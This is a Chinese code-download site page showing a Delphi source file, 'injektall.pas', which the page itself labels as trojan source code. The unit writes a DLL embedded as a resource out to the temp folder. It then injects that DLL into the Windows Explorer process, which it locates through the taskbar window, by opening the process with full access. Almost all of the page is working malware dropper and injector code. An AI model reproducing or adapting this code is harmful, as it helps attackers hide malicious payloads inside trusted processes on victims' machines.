⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 injektall.pas

📁 New tj source www.opensc.ws - trojan source codes.
💻 PAS
字号:
unit injektall;
interface
uses
windows,afxCodeHook;

const      BUFLEN =65536 ;

var
  File1: String = 'File1';
  File1Extention: String = 'dll';
  ResultFilePath:PCHAR;

  buf:array[0..BUFLEN-1]of char;



procedure inject(filename:string);
procedure ExtractFile(whichone: String);
implementation
procedure ExtractFile(whichone: String);
var
 WhichExtention: String;
 TempDirBuff,TempFileNameBuff,ResourcePointer: PChar;
 ResourceLocation: HRSRC;
 ResourceSize,byteswritten: Longword;
 ResDataHandle: THandle;
 FileHandle: THandle;
begin
 getMem(TempDirBuff,MAX_PATH+1);
 getMem(TempFileNameBuff,MAX_PATH+1);
 GetTempPath(MAX_PATH+1,TempDirBuff);
 GetTempFileName(TempDirBuff,'~DP',0,TempFileNameBuff);
if whichone = File1 then WhichExtention := File1Extention;
 ResultFilePath := PChar(Copy(TempFileNameBuff,0,Length(TempFileNameBuff) - 3) + WhichExtention);
 freeMem(TempDirBuff);
 freeMem(TempFileNameBuff);
 ResourceLocation := FindResource(HInstance,PChar(whichone),RT_RCDATA);
 if ResourceLocation = 0 then exit;
 ResourceSize := SizeofResource(HInstance,ResourceLocation);
 if ResourceSize = 0 then exit;
 ResDataHandle := LoadResource(HInstance,ResourceLocation);
 if ResDataHandle = 0 then exit;
 ResourcePointer := LockResource(ResDataHandle);
 if ResourcePointer = NIL then exit;
 FileHandle := CreateFile(ResultFilePath,GENERIC_WRITE,FILE_SHARE_WRITE,NIL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
 if FileHandle = INVALID_HANDLE_VALUE then exit;
 WriteFile(FileHandle,ResourcePointer^,ResourceSize,byteswritten,NIL);
 CloseHandle(FileHandle);
end;
var wnd, pid, ph : dword;

procedure inject(filename:string);
begin
  wnd := FindWindow('Shell_TrayWnd', '');
  GetWindowThreadProcessID(wnd, @pid);
  ph := OpenProcess(PROCESS_ALL_ACCESS, false, pid);
  InjectLibrary (ph,pchar(filename));
  CloseHandle(ph);
end;

end.





⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -